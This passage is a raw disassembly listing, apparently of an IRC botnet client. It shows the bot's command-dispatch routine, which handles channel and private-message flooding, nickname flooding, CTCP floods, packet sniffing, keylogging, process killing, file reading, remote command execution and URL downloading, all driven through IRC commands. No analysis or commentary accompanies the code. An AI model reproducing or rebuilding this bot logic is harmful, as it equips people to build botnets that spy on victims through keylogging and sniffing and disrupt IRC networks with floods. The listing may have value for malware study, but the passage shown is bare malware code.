eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3AD add esp, 3Ch mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset dword_40BB54 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404BC9 loc_404BB3: ; CODE XREF: sub_401AC7+3100j cmp [ebp+var_13E0], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_404BB3 ; --------------------------------------------------------------------------- loc_404BC9: ; CODE XREF: sub_401AC7+30EAj nop call near ptr 26908A7h push eax push offset unk_42B9A8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404BDA: ; CODE XREF: sub_401AC7+3027j push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aRin ; "rin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4057B5 nop call near ptr 26A06B3h push eax call sub_41C058 push edi push offset aLoad ; "load" call sub_41C7E0 add esp, 0Ch test eax, eax jnz short loc_404CDD cmp [ebp+esi+var_80], ebx jz short loc_404CDD push [ebp+esi+var_80] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_84] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_88] call sub_417DB7 push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B940 push eax call sub_41C006 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404CDD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_404CDD: ; CODE XREF: sub_401AC7+31A2j ; sub_401AC7+31A8j ... push edi push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404D44 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D44 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_47F0] push eax call sub_41C620 lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404D44: ; CODE XREF: sub_401AC7+3225j ; sub_401AC7+3230j push edi push offset dword_42B924 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404DAB mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DAB push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4AF4] push eax call sub_41C620 lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B910 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404DAB: ; CODE XREF: sub_401AC7+328Cj ; sub_401AC7+3297j push edi push offset aNt ; "nt" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E12 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E12 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_48F0] push eax call sub_41C620 lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E12: ; CODE XREF: sub_401AC7+32F3j ; sub_401AC7+32FEj push edi push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E79 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E79 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4FF8] push eax call sub_41C620 lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E79: ; CODE XREF: sub_401AC7+335Aj ; sub_401AC7+3365j push edi push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EB6 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EB6 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EB6: ; CODE XREF: sub_401AC7+33C1j ; sub_401AC7+33CCj push edi push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EF3 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EF3 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EF3: ; CODE XREF: sub_401AC7+33FEj ; sub_401AC7+3409j push edi push offset aPartflood ; "partflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404F35 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F35 push offset dword_427638 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_404F35: ; CODE XREF: sub_401AC7+343Bj ; sub_401AC7+3446j push edi push offset aPnick ; "pnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404FA8 cmp [ebp+esi+var_88], ebx jz short loc_404FA8 nop call near ptr 26A06B3h push eax call sub_41C058 call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B8A0 push eax call sub_41C006 lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_404FA8: ; CODE XREF: sub_401AC7+347Dj ; sub_401AC7+3486j push edi push offset dword_42B88C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4050F9 cmp [ebp+esi+var_88], ebx jz loc_4050F9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 2690000h nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx call near ptr 2690000h nop push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 0C8h idiv ecx push edx call near ptr 2690000h nop push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4050F9: ; CODE XREF: sub_401AC7+34F0j ; sub_401AC7+34FDj push edi push offset dword_42B888 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405191 cmp [ebp+esi+var_88], ebx jz short loc_405191 nop call near ptr 26A06B3h push eax call sub_41C058 pop ecx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B860 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_405191: ; CODE XREF: sub_401AC7+3641j ; sub_401AC7+364Ej push edi push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405294 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405294 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 2690000h lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405294: ; CODE XREF: sub_401AC7+36D9j ; sub_401AC7+36E8j push edi push offset aChgnick ; "chgnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4052D8 lea eax, [ebp+var_180C] push eax call sub_417E35 lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4052D8: ; CODE XREF: sub_401AC7+37DCj push edi push offset aMsg ; "msg" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4053CA cmp [ebp+esi+var_88], ebx jz loc_4053CA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4053CA: ; CODE XREF: sub_401AC7+3820j ; sub_401AC7+382Dj push edi push offset aNotice_0 ; "notice" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4054BC cmp [ebp+esi+var_88], ebx jz loc_4054BC push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4054BC: ; CODE XREF: sub_401AC7+3912j ; sub_401AC7+391Fj push edi push offset aCtcp ; "ctcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4055DA cmp [ebp+esi+var_88], ebx jz loc_4055DA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B800 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_4055DA: ; CODE XREF: sub_401AC7+3A04j ; sub_401AC7+3A11j push edi push offset aMix ; "mix" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405707 cmp [ebp+esi+var_88], ebx jz loc_405707 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 2690000h push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405707: ; CODE XREF: sub_401AC7+3B22j ; sub_401AC7+3B2Fj push edi push offset aRegister ; "register" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40574B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574B push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_40574B: ; CODE XREF: sub_401AC7+3C4Fj ; sub_401AC7+3C5Aj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061E0 mov [ebp+arg_18], offset dword_4D239C loc_405767: ; CODE XREF: sub_401AC7+3CC4j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577D mov eax, [eax] cmp eax, ebx jbe short loc_40577D push eax call dword_4C939C loc_40577D: ; CODE XREF: sub_401AC7+3CA7j ; sub_401AC7+3CADj add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4D8ABC jl short loc_405767 cmp [ebp+var_8], ebx jnz loc_4061E0 push ebx push [ebp+var_4] push offset unk_42B788 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_4061E0 ; --------------------------------------------------------------------------- loc_4057B5: ; CODE XREF: sub_401AC7+3180j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aN ; "n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aJ ; "j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aPt ; "pt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aK ; "k" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aPr ; "pr" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aOpen ; "open" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aO ; "o" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aServer ; "server" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aSe ; "se" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aDns ; "dns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aDn ; "dn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKp ; "kp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKill ; "kill" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aKi ; "ki" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aDel ; "del" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aGet ; "get" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aGt ; "gt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aList ; "list" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aLi ; "li" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aV ; "v" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aCm ; "cm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aRf ; "rf" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C9A push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C62 push 20h call sub_40B5F5 test eax, eax pop ecx jle short loc_405B8F push offset dword_42B68C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405B8F: ; CODE XREF: sub_401AC7+40BCj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD1 mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405BD1 mov esi, [ebp+var_88] loc_405BD1: ; CODE XREF: sub_401AC7+40ECj ; sub_401AC7+4102j push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3AD add esp, 20h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B1F push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405C51 loc_405C3B: ; CODE XREF: sub_401AC7+4188j cmp [ebp+var_ECC], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_405C3B ; --------------------------------------------------------------------------- loc_405C51: ; CODE XREF: sub_401AC7+4172j call near ptr 26908A7h nop push eax push offset dword_42B620 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C62: ; CODE XREF: sub_401AC7+40ACj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 20h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405C90 push eax push offset dword_42B5E4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C90: ; CODE XREF: sub_401AC7+41BCj push offset dword_42B5B8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405C9A: ; CODE XREF: sub_401AC7+4097j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DE7 push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DAF push 21h call sub_40B5F5 test eax, eax pop ecx jle short loc_405CDC push offset unk_42B590 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405CDC: ; CODE XREF: sub_401AC7+4209j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D1E mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405D1E mov esi, [ebp+var_88] loc_405D1E: ; CODE XREF: sub_401AC7+4239j ; sub_401AC7+424Fj push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3AD add esp, 20h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131AA push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405D9E loc_405D88: ; CODE XREF: sub_401AC7+42D5j cmp [ebp+var_E38], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_405D88 ; --------------------------------------------------------------------------- loc_405D9E: ; CODE XREF: sub_401AC7+42BFj call near ptr 26908A7h nop push eax push offset unk_42B528 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DAF: ; CODE XREF: sub_401AC7+41F9j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 21h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405DDD push eax push offset unk_42B4EC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DDD: ; CODE XREF: sub_401AC7+4309j push offset unk_42B4C0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405DE7: ; CODE XREF: sub_401AC7+41E4j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405EBA push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405E82 push 2 call sub_40B5F5 test eax, eax pop ecx jle short loc_405E25 push offset dword_42B498 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405E25: ; CODE XREF: sub_401AC7+4352j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BBE push ebx push ebx nop call near ptr 269009Ch imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz loc_4081DE nop call near ptr 26908A7h push eax push offset dword_42B438 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405E82: ; CODE XREF: sub_401AC7+4346j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 2 call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405EB0 push eax push offset dword_42B400 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405EB0: ; CODE XREF: sub_401AC7+43DCj push offset dword_42B3E0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405EBA: ; CODE XREF: sub_401AC7+4331j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aNet ; "net" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061B2 cmp dword_4C93D4, ebx jz short loc_405F47 cmp dword_4C93FC, ebx jz short loc_405F47 push offset unk_42B388 jmp loc_40851D ; --------------------------------------------------------------------------- loc_405F47: ; CODE XREF: sub_401AC7+446Cj ; sub_401AC7+4474j cmp [ebp+var_C], ebx jz loc_406C42 mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F6F push eax push [ebp+var_C] call sub_41C080 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F6F: ; CODE XREF: sub_401AC7+4498j push edi push offset aStart ; "start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FD5 cmp [ebp+arg_18], ebx jz short loc_405FA9 push [ebp+arg_0] push 3 loc_405F8A: ; CODE XREF: sub_401AC7+4524j ; sub_401AC7+453Cj ... call sub_418BBF push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 14h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_405FA9: ; CODE XREF: sub_401AC7+44BCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418E66 add esp, 0Ch test eax, eax jz short loc_405FCB push offset unk_42B35C jmp loc_40851D ; --------------------------------------------------------------------------- loc_405FCB: ; 